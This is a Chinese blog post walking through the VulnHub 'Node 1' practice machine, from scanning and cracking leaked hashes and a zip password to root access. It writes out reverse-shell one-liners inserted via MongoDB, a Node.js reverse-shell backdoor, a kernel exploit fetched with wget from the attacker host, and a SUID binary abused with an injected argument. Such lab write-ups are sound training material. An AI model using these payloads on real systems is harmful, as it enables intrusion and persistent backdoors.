• 博客园logo
  • 会员
  • 周边
  • 新闻
  • 博问
  • 闪存
  • 赞助商
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录
驿般般
博客园    首页    新随笔    联系   管理    订阅  订阅

vulnhub-Node-1通关教程

简单的靶机,快速过了,靶机IP是163

nmap 192.168.135.0/24 -sP

我们发现开启的端口,简单的思路就是破解ssh。

nmap 192.168.135.163

这里没有扫服务,但是我先说就是老样子,他做了修改,我们还是枚举http信息,获得ssh的信息。

nmap 192.168.135.163 -p- -A

我们发现这里js暴露在前端。还泄露了home路径。

我们查看home.js发现泄露出新路径/api/users/latest。这个api的都不简单。

通过api路径我们成功访问到用户名信息和加密的密匙信息。

老打法,我们看看是什么。

Hash-idenifier

又是hash256,我们将hash保存到本地,用hashcat破解他。

这里 -m 1400 是指定hash256,使用老字典rockyou.txt

Locate rockyou.txt

Hashcat -m 1400 hash.txt /usr/share/wordlists/rockyou.txt

myP14ceAdm1nAcc0uNT/Manchester,tom/spongebob,mark/snowflake,这里我直接粘贴word首单词会大写>_<

Hashcat -m 1400 hash.txt --show

我们登录网站发现下载了个文件,发现里面是base64编码。。。我们将他转换解码到我们的文件看看是什么东西。

Cat myplace.backup

我们发现解码后是ZIP文件。解压它估计就能获得shell了呢?

Cat myplace.backup | base64 -d > yang

File yang

我的天,这都要密码。没事我们可以用fcrackzip来破解。

先将文件改为zip格式,在找rockyou.txt字典,接着就可以用fcrackzip来破解。

mv yang yang.zip

locate rockyou.txt

fcrackzip -D -u -p /usr/share/wordlists/rockyou.txt yang.zip

-D 用字典爆破 -u 用unzip过滤假阳性结果 -p指定字典。。这里-p顺序很重要啊我第二次打手快直接运行不了>_<

发现是网站的源码,查看源代码发现了mark的shell密匙信息。

查看里面的app.js发现mark的ssh登录密匙。

mark:5AYRft73VtFpc84k@localhost:27017

成功登录mark。这里我使用了两个提权方法后续会讲解。

Ssh mark@192.168.135.163 //5AYRft73VtFpc84k

我是有脚本的,第一次已经跑过了。。。这里你如果没有linpeas.sh可以去github上下载,也可以简单的进行手工枚举。毕竟Linux提权来来回回就那几个来回用(目前为止)。什么内核啦,sudo/SUID/cron计划任务/容器逃逸/UDF这些之类的。。。

Uname -a

Sudo -V

Ps -aux | grep mongodb

Ss -plunt | grep 27017

对于mark我们可以直接使用内核提权。

Searchsploit linux 4.4.0

将其下载下来,上传到靶机,如果靶机安装了GCC编译,我是推荐到靶机编译的。

Searchsploit -m 44298.c

Which gcc

这里上传exp后直接编译运行就提升到了root权限。

Wget http://192.168.135.155:8000/44298.c

Gcc 44298.c -o yang

Chmod 777 yang

./yang

拿flag不是我们的目的没什么好解释的,到这里也可以结束了,但是我们枚举出还有tom用户呢。

查看不以root运行的进程。

Ps -aux | grep -v root

我们发现node.js时ELF二级制文件,这个对我们后续留后门有帮助。

进入mongodb,写入反弹shell,执行命令获得tomshell。

mongo -u mark -p 5AYRft73VtFpc84k scheduler

show collections

db.tasks.find({})

db.tasks.insert({cmd: "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.135.155 4444 >/tmp/f"})

WriteResult({ "nInserted" : 1 })

提前开启监听,得到尾shell,不稳定,将他修复

Python -c ‘import pty;pty.spawn(“/bin/bash”)’

Stty raw -echo; fg

Export TERM=xterm-256color

我们找找SUID,利用SUID提权,任何人执行了SUIDroot二进制文件,二进制内部代码都以root身份执行。

Find / -perm -4000 2>/dev/null

我们可以用上次用过的nc传输(安装了nc),当python没有安装时,base64太长时,这个方法也是不错的。

Nc 192.168.135.155 1111 < backup

Nc -vlp 1111 >backup

这里md5不会变化的,一致就是完整上传,不一致就是不对。。。

Md5sum backup

这里我再分享一个方法,但是我就不往下做了,看到这里你应该也发现了吧,md5不会骗人,base64也很真诚。

Cat backup | base64

移动到tmp,方便我们分析。

我们直接在tomshell提权,加入令牌直接获得root权限。

/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "$(echo '/any\n/bin/bash\nany')"

先获取令牌cat /var/www/myplace/app.js

/root

/etc

/tmp/.backup_%i

/usr/bin/zip -r -P magicword %s %s > /dev/null

/usr/bin/base64 -w0 %s

The target path doesn't exist

1. 它检查有效的访问令牌

2. 对于位置/root和/etc,它具有硬编码的base64输出

3. 如果位置不是/etc或/root,它将在/tmp文件夹中创建一个临时文件

4. 然后使用以下命令压缩到特定位置。/usr/bin/zip -r -P magicword %s %s > /dev/null

Tom提权还能用我们之前找到的node.js写入木马方式获得tom反弹shell,再利用我们上面学到的backup提权(这就相当于给tom留了个后门,方便后面拿tomshell)

接着用mongodb获取tomshell

db.tasks.insert({cmd: "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.135.155 4444 >/tmp/f"})

WriteResult({ "nInserted" : 1 })

将后门反弹shell木马写入shell.js

cat > /tmp/shell.js <<'EOF'

(function(){

var net = require("net"),cp=require("child_process"),sh=cp.spawn("/bin/sh",[]);

var client=new net.Socket();

client.connect(1234,"192.168.135.155",function(){

client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);

});

return /a/;

})();

EOF

在tom登录mark的mongodb,将脚本写入数据库

mongo -u mark -p 5AYRft73VtFpc84k scheduler

db.tasks.insert({"cmd": "/usr/bin/node /tmp/shell.js"})

提前开启监听就能获得tomshell

这里接着用SUID二进制backup提权。

/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "$(echo '/any\n/bin/bash\nany')"

这台靶机还是简单的,估计是有内核提权的缘故吧>_<我们分析一下。我们根据nmap扫描确定思路方向,从web获取ssh信息。我们通过web发现登录信息,登录进去后web泄露了源码,里面我们获取到mark的ssh(和mongodb的密码)。我们通过枚举mark的信息发现了内核提权,和tom用户,还发现mongodb本地运行。这里我们利用内核提权mark是最简单的。我们 也可以通过在mongodb写入shell来获得tom的shell。我们利用SUID的backup来给tom提权。这里我们还咋node.js留下了后门写入mongodb也能获得tomshell,利用rootSUID二进制执行获得root权限。

posted on 2026-10-19 13:48  驿般般  阅读(2)  评论(0)    收藏  举报
刷新页面返回顶部
博客园  ©  2004-2026
浙公网安备 33010602011771号 浙ICP备2021040463号-3